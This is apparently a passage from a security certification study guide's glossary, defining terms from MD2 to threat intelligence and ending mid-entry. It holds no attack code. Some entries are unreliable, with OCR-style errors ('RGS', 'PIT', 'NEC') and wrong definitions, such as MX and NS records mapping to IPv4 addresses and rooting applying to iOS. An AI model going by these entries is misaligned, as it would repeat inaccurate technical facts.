MD2 A message digest algorithm that produces a 128-bit hash value and 
performs 18 rounds of computations. 


MD4 A message digest algorithm that produces a 128-bit hash value and 
performs only 3 rounds of computations. 


MD5 A message digest algorithm that produces a 128-bit hash value and 
performs 4 rounds of computations. 


MD6 A message digest algorithm that produces a variable hash value, 
performing a variable number of computations. 


mean time between failures (MTBF) The estimated amount of time a 
device will operate before a failure occurs. This amount is calculated by 
the device vendor. System reliability is increased by a higher MTBF and 
lower MTTR. 


mean time to repair (MTTR) The average time required to repair a single 
resource or function when a disaster or other disruption occurs. Describes 
the average amount of time it takes to get a device fixed and back online. 


Measured Boot (launch) A detailed, reliable log created by anti-malware 
software or components that loaded prior to the anti-malware driver during 
startup. This log can be used by anti-malware software or an administrator 
in a business environment to validate whether there may be malware on 
the computer or evidence of tampering with boot components. 


media disposal The process of destroying media after use. 


media librarian A person who tracks all media (backup and other types, 
such as OS installation discs). 
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memorandum of understanding (MOU) An agreement between two or 
more organizations that details a common line of action. 


memory card A swipe card issued to a valid user that contains user 
authentication information. 


memory dumping The process of using memory-reading tools to analyze 
the entire memory content used by an application. 


memory leak A memory problem that causes memory to be exhausted 
over a period of time. 


mesh network A network in which all nodes cooperate to relay data and 
are all connected to one another. To ensure complete availability, 
continuous connections are provided by using self-healing algorithms to 
route around broken or blocked paths. 


Metasploit An open source framework that ships with hundreds of 
exploits. 


microSD HSM An HSM that connects to the MicroSD port on a device 
that has such a port. 


misuse case testing Testing that evaluates an application to ensure that the 
application can handle invalid input or unexpected behavior. 


mitigation The step in incident response in which immediate 
countermeasures are performed to stop a data breach in its tracks. 


monitoring and accepting The phase of software acquisition in which the 
organization establishes the contract work schedule, implements change 
control procedures, and reviews and accepts the software deliverables. 


MPTD See maximum tolerable downtime. 
MSA See master service agreement. 

MSSP See managed-security servicea provider. 
MTBF See mean time between failures. 

MTD See maximum tolerable downtime. 
MTTR See mean time to repair. 


multi-factor authentication A combination of multiple factors of 
authentication that includes something you are, something you have, 
something you know, somewhere you are, and something you do. 


multitenancy cloud model A cloud computing model in which multiple 
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organizations share the resources. 


mutation fuzzing Fuzz testing that involves changing the existing input 
values (blindly). 


MX A DNS record that represents an email server mapped to an IPv4 
address. 


MyAppSecurity A threat modeling tool that identifies threats based on a 
customizable comprehensive threat library and is intended for 
collaborative use across all organizational stakeholders. 


NAC See network access control. 
nbtstat A command used to view NetBIOS information. 
NDA See non-disclosure agreement. 


Near Field Communication A short-range type of wireless transmission 
used for mobile payment. 


need to know A security principle that defines the minimums for each job 
or business function. 


Nessus One of the more widely used vulnerability scanners. 


Netcat A command-line utility that can be used for many investigative 
operations, including port scanning, transferring files, and port listening. 


netstat (network status) A command that is used to see what ports are 
listening on a TCP/IP-based system. 


network access control (NAC) Policies which ensure that client 
computers attaching to the network have certain security minimums. 


network enumerator A network vulnerability tool that scans a network 
and gathers information about users, groups, shares, and services that are 
visible. 


network intrusion detection system (NIDS) A system that is designed to 
monitor network traffic and detect and report threats. 


network intrusion prevention system (NIPS) A system that can take 
action to prevent an attack from being realized. 


next-generation firewall (NGFW) A category of devices that attempt to 
address traffic inspection and application awareness shortcomings of a 
traditional stateful firewall, without hampering performance. 


NEC See Near Field Communication. 
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NGFW See next-generation firewall. 

NIDS See network intrusion detection system. 

NIPS See network intrusion prevention system. 

Nmap A multi-use tool that can identify live devices and open ports. 


non-disclosure agreement (NDA) An agreement between two parties that 
defines what information is considered confidential and cannot be shared 
outside the two parties. 


non-persistent agents Agents that are installed and run as needed on an 
endpoint. 


non-persistent data Data that is gone when an unexpected shutdown 
occurs. 


nonrepudiation Proof of the origin of data, which prevents the sender 
from denying that he or she sent the message and supports data integrity. 


NS A DNS record that represents a DNS server mapped to an IPv4 
address. 


nslookup A command-line administrative tool for testing and 
troubleshooting DNS servers. 


numeric password A password that includes only numbers. 


NX bit (No-Execute) Technology used in CPUs to segregate areas of 
memory for use by either storage of processor instructions (code) or for 
storage of data. 


OAUTH See Open Authorization. 


occupant emergency plan A plan that outlines first-response procedures 
for occupants of a facility in the event of a threat or an incident to the 
health and safety of personnel, the environment, or property. 


OID See OpenID. 
OLA See operating-level agreement. 


one-time pad The most secure encryption scheme that can be used. It 
works likes a running cipher in that the key value is added to the value of 
the letters. However, it uses a key that is the same length as the plaintext 
message. 


one-time password A password that is used only once to log in to an 
access control system. Also called a dynamic password. 


972 


Online Certificate Status Protocol (OCSP) An Internet protocol that 
obtains the revocation status of an X.509 digital certificate. 


OOB See out-of-band. 


Open Authorization (OAUTH) A standard for authorization that allows 
users to share private resources on one site to another site without using 
credentials. 


open source intelligence (OSINT) Data collected from publicly available 
sources. 


open source software Software that is free but comes with no guarantees 
and little support other than the help of the user community. 


open standards Standards that are available for use by the public. 


Open Web Application Security Project An organization that maintains 
a list of the top 10 errors found in web applications. 


OpenID (OID) An open standard and decentralized protocol by the 
nonprofit OpenID Foundation that allows users to be authenticated by 
certain cooperating sites. 


OpenSSL A library of software functions that support the use of the 
SSL/TLS protocol. 


operating system fingerprinting The process of using some method to 
determine the operating system running on a host or a server. 


operating-level agreement (OLA) An internal organizational document 
that details the relationships that exist between departments to support 
business activities. 


optical jukebox An electronic backup method that involves storing data 
on optical disks and uses robotics to load and unload the optical disks as 
needed. This method is ideal when 24/7 availability is required. 


Orange Book A collection of criteria based on the Bell-LaPadula model 
that is used to grade or rate the security offered by a computer system 
product. 


orchestration The process of automating entire workflows. 


order of volatility A concept which prescribes that investigators collect 
evidence from the components that are most volatile first. 


OSINT See open source intelligence. 
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out-of-band (OOB) An interface connected to a separate and isolated 
network that is not accessible from the LAN or the outside world. 


Output Feedback (OFB) A DES mode that works with 8-bit (or smaller) 
blocks that uses a combination of stream ciphering and block ciphering. 
However, it uses the previous keystream with the key to create the next 
keystream. 


overt Not concealed; not secret. 
OWASP See Open Web Application Security Project. 
ownership factor Authentication based on something a person has. 


packet capture The process of using capture tools to collect raw packets 
from a network. 


packet filtering firewall The type of firewall that is the least detrimental 
to throughput as it only inspects the header of the packet for allowed IP 
addresses or port numbers. 


pair programming code review Code review in which two coders work 
side-by-side, checking one another’s work as they go. 


palm or hand scan A scan that combines fingerprint and hand geometry 
technologies. It records fingerprint information from every finger as well 
as hand geometry information. 


PAP See Password Authentication Protocol. 


partial-knowledge test A pen test in which the testing team is provided 
with public knowledge regarding the organization’s network. 


passive fingerprinting Fingerprinting that involves simply capturing 
packets from the network and examining them rather than sending packets 
on the network. 


passphrase password A password that requires the use of a long phrase. 
Because of the password’s length, it is easier to remember but much harder 
to attack, both of which are definite advantages. Incorporating upper- and 
lowercase letters, numbers, and special characters in this type of password 
can significantly increase authentication security. 


Password Authentication Protocol (PAP) A protocol that provides 
authentication but with which the credentials are sent in cleartext and can 
be read with a sniffer. 


password complexity policy A policy that specifies how passwords will 
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be structured. Most organizations require upper- and lowercase letters, 
numbers, and special characters. 


password cracker A program that attempts to guess passwords. 


password history policy A policy that specifies the amount of time before 
a password can be reused. 


password length How long a password must be. Most organizations 
require 8 to 12 characters. 


password life policy A policy that specifies the maximum password 
lifetime. 


path tracing The process of tracing the path of a particular traffic packet 
or traffic type to discover the route used by the attacker. 


payloads Individual settings of MDM configuration profiles. 


Payment Card Industry Data Security Standard (PCI-DSS) A standard 
which enumerates requirements that payment card industry players should 
meet to secure and monitor their networks, protect cardholder data, 
manage vulnerabilities, implement strong access controls, and maintain 
security policies. 


PCI-DSS See Payment Card Industry Data Security Standard. 
PCR See platform configuration register hash. 
PDP See policy decision point. 


peer review A process in which developers review one another’s code for 
security issues and code efficiency. 


pen test See penetration test. 


penetration test A test designed to simulate an attack on a system, a 
network, or an application. 


perfect forward secrecy (PFS) An encryption method which ensures that 
a session key derived from a set of long-term keys cannot be compromised 
if one of the long-term keys is compromised in the future. To work 
properly, PFS requires two conditions: Keys must not be reused, and new 
keys must not be derived from previously used keys. 


performance The manner in which or the efficiency with which a device 
or technology reacts or fulfills its intended purpose. 


persistent agent An agent installed on each end point that waits to be 
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called into action. 


persistent data Data that is available even after you fully close and restart 
an app or a device. 


personally identifiable information (PIT) Any piece of data that can be 
used alone or with other information to identify a particular person. 


personnel testing Testing that reviews standard practices and procedures 
that users follow. 


PFS See perfect forward secrecy. 


phishing A social engineering attack in which a recipient is convinced to 
click on a link in an email that appears to go to a trusted site but in fact 
goes to the hacker’s site. It is used to harvest usernames and passwords or 
credit card and financial data. 


physical control A security control that protects an organization’s 
facilities and personnel. 


physical deployment diagram A diagram that shows the details of 
physical communication links, such as cable length, grade, and wiring 
paths; servers, with computer name, IP address (if static), server role, and 
domain membership; device location, such as printer, hub, switch, modem, 
router and bridge, and proxy location; communication links and the 
available bandwidth between sites; and the number of users at each site, 
including mobile users. 


physical testing Testing that reviews facility and perimeter protections. 
PII See personally identifiable information. 


ping A command that makes use of the ICMP protocol to test connectivity 
between two devices. 


pivoting A technique used by hackers and pen testers alike to advance 
from the initially compromised host to other hosts on the same network. 


PKI See public key infrastructure. 
plaintext A message in its original format. Also referred to as cleartext. 


plan/initiate phase The phase of the software development life cycle in 
which the organization decides to initiate a new software development 
project and formally plans the project. 


planning The phase of software acquisition in which the organization 
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performs a needs assessment and develops the software requirements. 


Platform as a Service (PaaS) A cloud computing model that involves the 
vendor providing the hardware platform or data center and the software 
running on the platform. This includes the operating systems and 
infrastructure software. The company is still involved in managing the 
system. 


platform configuration register (PCR) hash TPM versatile memory that 
stores data hashes for the sealing function. 


Point-to-Point Protocol (PPP) A layer 2 protocol used to transport 
multiprotocol datagrams over point-to-point links that provides 
authentication and multilink capability. 


policy decision point (PDP) An XACML entity that retrieves all 
applicable polices in XACML and compares the request with the policies. 


policy enforcement point (PEP) An XACML entity that protects a 
resource that a subject (a user or an application) is attempting to access. 


policy A broad rule that provides the foundation for development of 
standards, baselines, guidelines, and procedures. A policy is an 
information security governance component that outlines goals but does 
not give any specific ways to accomplish the stated goals. 


port scanner A tool used to determine the services available on a remote 
device. 


port security A switch security feature that allows you to keep a port 
enabled for legitimate devices while preventing its use by illegitimate 
devices. 


PPP See Point-to-Point Protocol. 


precise method A DLP method that involves content registration and 
triggers almost no false-positive incidents. 


preferred roaming list (PRL) A list of radio frequencies residing in the 
memory of some kinds of digital phones. 


presence A function provided by many collaboration solutions that 
indicates the availability of a user. It signals to other users whether a user 
is online, busy, in a meeting, and so forth. 


preservation A characteristic of evidence that means that the evidence is 
not subject to damage or destruction. 
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Pretty Good Privacy (PGP) A protocol that provides email encryption 
over the Internet and uses different encryption technologies based on the 
needs of the organization. 


preventive control A security control that prevents attacks from 
occurring. 


PRI See product release information. 


private branch exchange (PBX) A private analog telephone network 
used within a company. 


private cloud A cloud computing model in which a private organization 
implements a cloud on its internal enterprise to be used by its employees 
and partners. 


private key encryption See symmetric encryption. 


privilege elevation The process of increasing someone’s privileges to a 
device. 


privilege escalation The process of exploiting a bug or weakness in an 
operating system to allow a user to receive privileges to which he is not 
entitled. 


PRL See preferred roaming list. 


procedural design A design that represents procedural detail and 
structured programming concepts using graphical, tabular, and textual 
notations. It forms a blueprint for implementation and the basis for all 
subsequent software engineering work. 


product release information (PRI) Information on the connection 
between a mobile device and a radio. 


protocol analyzer Software that collects raw packets from a network and 
is used by both legitimate security professionals and attackers. 


prototyping The process of using a sample of code to explore a specific 
approach to solving a problem before investing extensive time and cost in 
the approach. 


provisioning service provider (PSP) In SPML, the entity that responds to 
RA requests. 


provisioning service target (PST) In SPML, the entity that performs 
provisioning. 
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proxy firewall A firewall that stands between a connection from the 
outside and the inside and makes the connection on behalf of the 
endpoints. With a proxy firewall, there is no direct connection. 


public cloud The standard cloud computing model in which a service 
provider makes resources available to the public over the Internet. 


public key encryption See asymmetric encryption. 


public key infrastructure (PKI) A security framework that includes 
systems, software, and communication protocols that distribute, manage, 
and control public key cryptography. 


public key pinning A security mechanism delivered via an HTTP header 
which allows HTTPS websites to resist impersonation by attackers using 
mis-issued or otherwise fraudulent certificates. 


purging Using a method such as degaussing to make old data unavailable 
even with forensics. Purging renders information unrecoverable against 
laboratory attacks (forensics). 


push authentication Authentication that involves sending a notification 
(via a secure network) to a user’s device, usually a smartphone, when 
accessing a protected resource. 


push notification services Services that allow unsolicited messages to be 
sent by an application to a mobile device even when the application is not 
open on the device. 


race condition An attack in which the hacker inserts himself between 
instructions, introduces changes, and alters the order of execution of the 
instructions, thereby altering the outcome. 


RAD See rapid application development. 
RAID See redundant array of independent/inexpensive disks. 


rainbow table attack An attack in which rainbow tables are used to 
reverse a hash through the computation of all possible hashes and looking 
up the matching value. 


ransomware Malware that encrypts data and holds the decryption key for 
ransom. 


rapid application development (RAD) A development model in which 
less time is spent upfront on design, while emphasis is placed on rapidly 
producing prototypes with the assumption that crucial knowledge can only 
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be gained through trial and error. 
RAT See remote-access Trojan. 


RC4 A stream cipher that uses a variable key size of 40 to 2,048 bits and 
up to 256 rounds of transformation. 


RGS A block cipher that uses a key size of up to 2,048 bits and up to 255 
rounds of transformation. Block sizes supported are 32, 64, and 128 bits. 


RC6 A block cipher based on RC5 that uses the same key size, rounds, 
and block size. 


RDP See Remote Desktop Protocol. 


Real-Time Transport Protocol (RTP) A protocol used in the delivery of 
voice and video traffic. 


real user monitoring (RUM) Testing that captures and analyzes every 
transaction of every application or website user. 


reconnaissance The process of gathering information that may be used in 
an attack. 


recoverability The probability that a failed security solution or device can 
be restored to its normal operable state within a given time frame, using 
the prescribed practices and procedures. 


recovery control A security control that recovers a system or device after 
an attack has occurred. 


recovery point objective (RPO) The point in time to which a disrupted 
resource or function must be returned. 


recovery time objective (RTO) The shortest time period after a disaster 
or disruptive event within which a resource or function must be restored to 
avoid unacceptable consequences. RTO assumes that an acceptable period 
of downtime exists. RTO should be smaller than MTD. 


red team The team that acts as the attacking force in a pen test. 


redundant array of independent/inexpensive disks (RAID) A hard 
drive technology in which data is written across multiple disks in such a 
way that a disk can fail and the data can be quickly made available from 
the remaining disks in the array without resorting to a backup tape. 


regression testing Testing that takes places after changes are made to the 
code to ensure that the changes have not reduced functionality or security. 
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release/maintenance phase The phase of the software development life 
cycle in which includes the implementation of the software into the live 
environment and the continued monitoring of its operation. 


relevant A characteristic of evidence that means it proves a material fact 
related to the crime in that it shows a crime has been committed, can 
provide information describing the crime, can provide information 
regarding the perpetuator’s motives, or can verify what occurred. 


reliability A characteristic of evidence that means it has not been 
tampered with or modified. 


remanence Any data left after media has been erased. 


remote access Referring to applications that allow users to access an 
organization’s resources from a remote connection. 


Remote Access Dial-in User Service (RADIUS) An authentication 
framework that allows for centralized authentication functions for all 
network access devices. 


remote-access Trojan (RAT) A Trojan that allows connection through a 
backdoor. 


remote assistance A feature that often relies on the same technology as 
desktop sharing that allows a technician to share a user’s desktop for the 
purpose of either teaching the user something or troubleshooting an issue 
for the user. 


Remote Desktop Protocol (RDP) A proprietary protocol developed by 
Microsoft that provides a graphical interface to connect to another 
computer over a network connection. 


remote journaling An electronic backup method that copies the journal or 
transaction log offsite on a regular schedule and occurs in batches. 


remote wipe Instructions sent remotely to a mobile device that erase all 
the data when the device is stolen. 


remotely triggered black hole (RTBH) routing The application of 
Border Gateway Protocol (BGP) as a security tool within service provider 
networks. 


replication An electronic backup method that copies data from one 
storage location to another. 


Representational State Transfer (REST) A pattern for interacting with 
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content on remote systems, typically using HTTP. 


request authority (RA) In SPML, the entity that makes a provisioning 
request. 


request for comments (RFC) A formal document that describes research 
or innovations on the Internet or its systems created by the Internet 
Engineering Task Force (IETF). 


request for information (RFI) A bidding-process document that collects 
written information about the capabilities of various suppliers. An RFI 

may be used prior to an RFP or RFQ, if needed, but can also be used after 
these if the RFP or RFQ does not obtain enough specification information. 


request for proposal (RFP) A bidding-process document that is issued by 
an organization that gives details of a commodity, a service, or an asset 
that the organization wants to purchase. 


request for quotation (RFQ) A bidding-process document that invites 
suppliers to bid on specific products or services. RFQ generally means the 
same thing as invitation for bid (IFB). RFQs often include item or service 
specifications. 


requirements definition A list of functional and security requirements 
that must be satisfied during a software development process. 


resource exhaustion A state that occurs when a computer is out of 
memory or CPU cycles. 


REST See Representational State Transfer. 
retina scan A scan of the retina’s blood vessel pattern. 


return on investment (ROI) The money gained or lost after an 
organization makes an investment. 


reverse engineering The process of breaking down software to identify its 
purpose and design. 


reverse proxy A type of proxy server that retrieves resources on behalf of 
external clients from one or more internal servers. 


RFC See request for comments. 
RFI See request for information. 
RFP See request for proposal. 
RFQ See request for quotation. 
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risk acceptance A method of handling risk that involves understanding 
and accepting the level of risk as well as the cost of damages that can 
occur. 


risk assessment A tool used in risk management to identify vulnerabilities 
and threats, assess the impact of those vulnerabilities and threats, and 
determine which controls to implement. 


risk avoidance A method of handling risk that involves terminating the 
activity that causes a risk or choosing an alternative that is not as risky. 


risk mitigation A method of handling risk that involves defining the 
acceptable risk level the organization can tolerate and reducing the risk to 
that level. 


risk transference A method of handling risk that involves passing the risk 
on to a third party. 


risk The probability that a threat agent will exploit a vulnerability and the 
impact of the probability. 


robo hunter An automated threat seeker that can learn from what it 
discover and then take appropriate action—for example, by isolating a bad 
packet or compromised device. 


rogue router A router introduced to the network that does not belong to 
the organization. 


ROI See return on investment. 


role-based access control An access control model in which access is 
granted based on a job role. 


rooting A process that allows a user to remove some of the restrictions of 
an Apple/iOS device. 


routing tables Tables used by routers to hold information about the paths 
to other networks. 


RPO See recovery point objective. 


RSA Conference A conference that covers all facets of security and draws 
security professionals from across the employment spectrum, including 
educators, government personnel, and other security professionals. 


RTBH See remotely triggered black hole routing. 


RTO See recovery time objective. 
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RTP See Real-Time Transport Protocol. 


rule-based access control an access control model In which access is 
based on global rules imposed for all users. 


RUM See real user monitoring. 


runtime debugging The process of using a programming tool to not only 
identify syntactic problems in code but also discover weaknesses that can 
lead to memory leaks and buffer overflows. 


S/flow See sampled flow. 


Sampled Flow Also known as S/flow. An industry standard for exporting 
packets at layer 2 of the OSI model. 


SAN See storage-area network. 
sandboxing Segregating virtual environments for security proposes. 


scalability A characteristic of a device or security solution that describes 
its capability to cope and perform under an increased or expanding 
workload. 


SCAP See Security Content Automation Protocol. 
SCEP See Simple Certificate Enrollment Protocol. 


screen mirroring A process typically used to project a computer, tablet, 
or smartphone screen to a TV and that can also be used to project to a 
remote support individual. 


screened host A firewall that is between the final router and the internal 
network. 


screened subnet A subnet in which two firewalls are used, and traffic 
must be inspected at both firewalls to enter the internal network. 


scrubbing The act of deleting incriminating data from an audit log. 


SD Elements A software security requirements management platform that 
includes automated threat modeling capabilities. 


SDD See software design document. 
SDLC See systems development life cycle. 
SEAndroid The SELinux version that runs on Android devices. 


secret key encryption See symmetric encryption. 
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secure boot A standard developed by the PC industry to help ensure that a 
PC boots using only software that is trusted by the PC manufacturer. 


secure by default The concept that, without changes to any default 
settings, an application is secure. 


secure by deployment The concept that the environment into which an 
application is introduced was taken into consideration from a security 
standpoint. 


secure by design The concept that an application was designed with 
security in mind rather than as an afterthought. 


Secure Electronic Transaction A protocol that secures credit card 
transaction information over the Internet. 


secure enclave A processor that processes data in its encrypted state. 


secure encrypted enclave A part of an operating system that cannot be 
compromised by compromising the operating system kernel because it has 
its own CPU and is separated from the rest of the system. 


Secure Hash Algorithm (SHA) I A family of four algorithms published 
by the U.S. NIST. 


Secure MIME (S/MIME) A protocol that allows MIME to encrypt and 
digitally sign email messages and encrypt attachments. 


Secure Real-Time Transport Protocol (SRTP) A protocol that provides 
encryption, integrity, and anti-replay to RTP traffic. 


Secure Shell (SSH) An application and protocol that is used to remotely 
log in to another computer using a secure tunnel. It is a secure replacement 
for Telnet. 


Secure Sockets Layer (SSL) A protocol developed by Netscape to 
transmit private documents over the Internet that implements either 40-bit 
(SSL 2.0) or 128-bit encryption (SSL 3.0). 


secure volume A volume that is unmounted and hidden until used. Only 
then is it mounted and decrypted. When edits are complete, the volume is 
encrypted and unmounted. 


securiCAD A threat modeling tool that focuses on threat modeling of IT 
infrastructures using a CAD-based approach, where assets are 
automatically or manually placed on a drawing pane. 


Security as a Service (SecaaS) A cloud-based service for smaller 
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organizations. 


Security Assertion Markup Language (SAML) An XML-based open 
standard data format for exchanging authentication and authorization data 
between parties, particularly between an identity provider and a service 
provider. 


security association (SA) A security relationship established between two 
endpoints in an IPsec protected connection. 


Security Content Automation Protocol (SCAP) A standard that the 
security automation community uses to enumerate software flaws and 
configuration issues. 


security information and event management (SIEM) A process in 
which utilities receive information from log files of critical systems and 
centralize the collection and analysis of this data. 


security requirements traceability matrix (SRTM) A spreadsheet-like 
report that documents the security requirements that a new asset must 
meet. 


seizure The act of taking custody of physical or digital components. 


SELinux A Linux kernel security module that, when added to the Linux 
kernel, separates enforcement of security decisions from the security 
policy itself and streamlines the amount of software involved with security 
policy enforcement. 


sender policy framework (SPF) An email validation system that works 
by using DNS to determine whether an email sent by someone has been 
sent by a host sanctioned by that domain’s administrator. If it can’t be 
validated, it is not delivered to the recipient’s box. 


sensor A device used in a SCADA system, which typically has digital or 
analog I/O, and these signals are not in a form that can be easily 
communicated over long distances. 


separation of duties The concept that sensitive operations should be 
divided among multiple users so that no one user has the rights and access 
to carry out a sensitive operation alone. This security measure ensures that 
one person is not capable of compromising organizational security. It 
prevents fraud by distributing tasks and their associated rights and 
privileges between more than one user. 


Serial Line Internet Protocol (SLIP) An older layer 2 protocol used to 
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transport multiprotocol datagrams over point-to-point links. It has been 
made obsolete by PPP. 


server-based application virtualization Virtualization in which 
applications run on servers. 


service discovery The process of learning the open ports on a device. 


Service Provisioning Markup Language (SPML) An open standard for 
exchanging authorization information between cooperating organizations. 


service-level agreement (SLA) An agreement about the ability of a 
support system to respond to problems within a certain time frame while 
providing an agreed level of service. 


Session Initiation Protocol (SIP) server A server that is responsible for 
creating voice and video sessions in a VoIP network. 


Session Initiation Protocol for Instant Messaging and Presence 
Leveraging Extensions (SIMPLE) A secure protocol that can be used to 
provide presence information. 


session management attack An attack that can occur when a hacker is 
able to identify the unique session ID assigned to an authenticated user. 


SFC See System File Checker. 


SHA-2 A family of hash functions, each of which provides different 
functional limits. 


Shibboleth An SSO system that allows the use of common credentials 
among sites that are a part of the federation. It is based on SAML. 


Short Message Service (SMS) A text messaging service component of 
most telephone, World Wide Web, and mobile telephony systems. 


shoulder surfing An attack in which a person watches while a user enters 
login or other confidential data. 


S-HTTP A protocol that encrypts only the served page data and submitted 
data like POST fields, leaving the initiation of the protocol unchanged. 


side loading A method of installing applications on a mobile device from 
a computer rather than from an app store such as Google Play or the Apple 
App Store. 


SIEM See security information and event management. 


signature dynamics A biometric authentication method that measures 
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stroke speed, pen pressure, and acceleration and deceleration while the 
user writes his or her signature. 


signature-based detection A type of intrusion detection that compares 
traffic against preconfigured attack patterns known as signatures. 


Simple Certificate Enrollment Protocol (SCEP) A protocol used to 
provision certificates to network devices, including mobile devices. 


Simple Object Access Protocol (SOAP) A protocol specification for 
exchanging structured information in the implementation of web services 
in computer networks. 


SIMPLE See Session Initiation Protocol for Instant Messaging and 
Presence Leveraging Extensions. 


single sign-on (SSO) A system in which a user enters login credentials 
once and can access all resources in the network. 


single-tenancy cloud model A cloud computing model in which a single 
tenant uses a resource. 


SIP See Session Initiation Protocol server. 


Skipjack A block-cipher, symmetric algorithm developed by the U.S. 
NSA that uses an 80-bit key to encrypt 64-bit blocks. It is used in the 
Clipper chip. 


SLA See service-level agreement. 


slack space analysis Analysis of the slack (marked as empty or reusable) 
space on the drive to see whether any old (marked for deletion) data can be 
retrieved. 


smart card A device that accepts, stores, and sends data but can hold 
more data than a memory card. Smart cards, often known as integrated 
circuit cards (ICCs), contain memory like a memory card but also contain 
an embedded chip like bank or credit cards. 


SMS See Short Message Service. 
sniffing The process of capturing packets for analysis. 


SOA A DNS record which represents a DNS server that is authoritative for 
a DNS namespace. 


SOA See service-oriented architecture, Start of Authority, or statement of 
applicability. 
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SOC 1 Type 1 report A report that focuses on the auditors’ opinion of the 
accuracy and completeness of the data center management’s design of 
controls, system and/or service. 


SOC 1 Type 2 report A report that includes a Type 1 and an audit on the 
effectiveness of controls over a certain time period, normally between six 
months and a year. 


SOC 1 A report on internal controls over financial reporting. 


SOC 2 A report on Security, availability, processing integrity, 
confidentiality, or privacy controls. 


SOC 3 A summary report that can be either SOC 1 or SOC 2. 
SoC See system on a chip. 


social engineering attack An attack that occurs when attackers use 
believable language and user gullibility to obtain user credentials or some 
other confidential information. 


social media profiling Gathering information through social media as a 
part of network reconnaissance. 


SOCKS firewall A circuit-level firewall that requires a SOCKS client on 
the computers. 


Software as a Service (SaaS) A cloud computing model that involves the 
vendor providing the entire solution, including the operating system, 
infrastructure software, and application. An SaaS provider might, for 
example, provide you with an email system and host and manage 
everything for you. 


software design document (SDD) A document that provides a description 
of the software and is usually accompanied by an architectural diagram. 


software development life cycle A predictable framework of procedures 
designed to identify all requirements with regard to functionality, cost, 
reliability, and delivery schedule and ensure that each are met in the final 
solution. 


software patches Updates released by vendors that either fix functional 
issues with or close security loopholes in operating systems, applications, 
and versions of firmware that run on network devices. 


spam Unrequested email sent out on a mass basis. 


spam over Internet telephony An attack that causes unsolicited 
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prerecorded phone messages to be sent. 


spear phishing The process of focusing a phishing attack on a specific 
person rather than a random set of people. 


spectrum management The process of managing and allocating radio 
frequencies for specific uses. 


spiral model A meta-model that incorporates a number of software 
development models. The spiral model is an iterative approach that places 
emphasis on risk analysis at each stage. 


SPIT See spam over Internet telephony. 


SQL injection attack An attack that inserts, or “injects,” a SQL query as 
the input data from a client to an application. It can result in reading 
sensitive data from a database, modifying database data, executing 
administrative operations on the database, recovering the content of a 
given file, and in some cases issuing commands to the operating system. 


SRK See storage root key. 

SRTM See security requirements traceability matrix. 
SRTP See Secure Real-Time Transport Protocol. 
SSH See Secure Shell. 

SSL See Secure Sockets Layer. 

SSO See single sign-on. 


standard library A group of common objects and functions used by a 
language that developers can access and reuse without re-creating them. 


standard word password A password that consists of a single word that 
often includes a mixture of upper- and lowercase letters. 


standard An information security governance component that describes 
how policies will be implemented within an organization. 


Start of Authority (SOA) A record that contains information regarding a 
DNS zone’s authoritative server. 


state management The process of making an application remember the 
interactions the user has had with the application. 


stateful firewall A firewall that is aware of the proper functioning of the 
TCP handshake, keeps track of the state of all connections with respect to 
this process, and can recognize when packets are trying to enter the 
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network that don’t make sense in the context of the TCP handshake. 


stateful protocol analysis detection An intrusion detection method that 
identifies deviations by comparing observed events with predetermined 
profiles of generally accepted definitions of benign activity. 


statement of applicability (SOA) A document that identifies the controls 
chosen by an organization and explains how and why the controls are 
appropriate. 


Statement on Auditing Standards (SAS) 70 A document that provides 
auditors information and verification about data center controls and 
processes related to the data center user and financial reporting. 


static password A password that is the same for each login. 
static routing A routing method that uses manually created routes. 
static testing Testing or examining software when it is not running. 


statistical anomaly-based detection An intrusion detection method that 
determines the normal network activity and alerts when anomalous (not 
normal) traffic is detected. 


steganography analysis Analysis of the files on a drive to see whether the 
graphic files have been altered or to discover the encryption used on the 
files. 


steganography The process of hiding a message inside another object, 
such as a picture or document. 


storage area network (SAN) A network of high-capacity storage devices 
that are connected by a high-speed private network using storage-specific 
Switches. 


storage keys TPM versatile memory that contains the keys used to encrypt 
a computer’s storage, including hard drives, USB flash drives, and so on. 


storage root key (SRK) TPM persistent memory that secures the keys 
stored in the TPM. 


stream-based cipher A cipher that performs encryption on a bit-by-bit 
basis and uses keystream generators. 


supervisory control and data acquisition (SCADA) A system used to 
remotely control industrial equipment with coded signals. It is a type of 
industrial control system. 
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surveillance The act of monitoring behavior, activities, or other changing 
information, usually of people. 


swipe pattern A pattern, presumably only known to the user, that can be 
used to dismiss a screen lock. 


switch A device that improves performance over a hub because it 
eliminates collisions. 


symmetric encryption An encryption method whereby a single private 
key both encrypts and decrypts the data. Also referred to as private, or 
secret, key encryption. 


synthetic transaction monitoring Testing that uses external agents to run 
scripted transactions against an application. 


sysinternals A collection of more than 70 tools that can be used for both 
troubleshooting and security issues. 


system and network testing Testing that reviews systems, devices, and 
network topology. 


System File Checker (SFC) A command-line utility that checks and 
verifies the versions of system files on your computer. 


system on a chip (SoC) An integrated circuit that includes all components 
of a computer or other electronic systems. 


systems development life cycle (SDLC) A process that provides clear and 
logical steps to follow to ensure that a system that emerges at the end of 
the development process provides the intended functionality with an 
acceptable level of security. 


tabletop exercise An informal brainstorming session that encourages 
participation from business leaders and other key employees. 


tailored commercial (or commercial customized) A new breed of 
software that comes in modules, the combination of which can be used to 
arrive at exactly the components required by the organization. 


tape vaulting An electronic backup method that involves creating backups 
over a direct communication line on a backup system at an offsite facility. 


target test A pen test in which both the testing team and the organization’s 
security team are given maximum information about the network and the 
type of test that will occur. 


TCO See total cost of ownership. 
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technical control A software or hardware component used to restrict 
access. See also logical control. 


telephony system A system that includes both traditional analog phone 
systems and digital, or VoIP, systems. 


temporal A CVSS metric group of characteristics of a vulnerability that 
change over time but not among user environments. 


Teredo An [Pv4-to-IPv6 transition method that assigns addresses and 
creates host-to-host tunnels for unicast IPv6 traffic when IPv6 hosts are 
located behind IPv4 network address translators. 


test and evaluation phase The phase of the systems development life in 
which several types of testing occur, including ways to identify both 
functional errors and security issues. 


test coverage analysis Analysis that yields a value that speaks to the 
percentage of test cases tested. 


test/validate phase The phase of the software development life cycle in 
which several types of testing occur, including ways to identify both 
functional errors and security issues. 


tethering A process in which one mobile device is connected to another 
mobile device for the purpose of using the Internet connection. 


third-party connection agreement A document that spells out exactly the 
security measures that should be taken with respect to the handling of data 
exchanged between the parties. Such a document should be executed in 
any instance where a partnership involves depending on another entity to 
secure company data. 


third-party libraries A third-party repository of code in which the 
components are sold. 


threat A condition that occurs when a vulnerability is identified or 
exploited. 


threat actor An entity that discovers and/or exploits vulnerabilities. Not 
all threat actors actually exploit identified vulnerabilities. 


threat agent An entity that carries out a threat. 


threat intelligence A process that is used to inform decisions regarding 
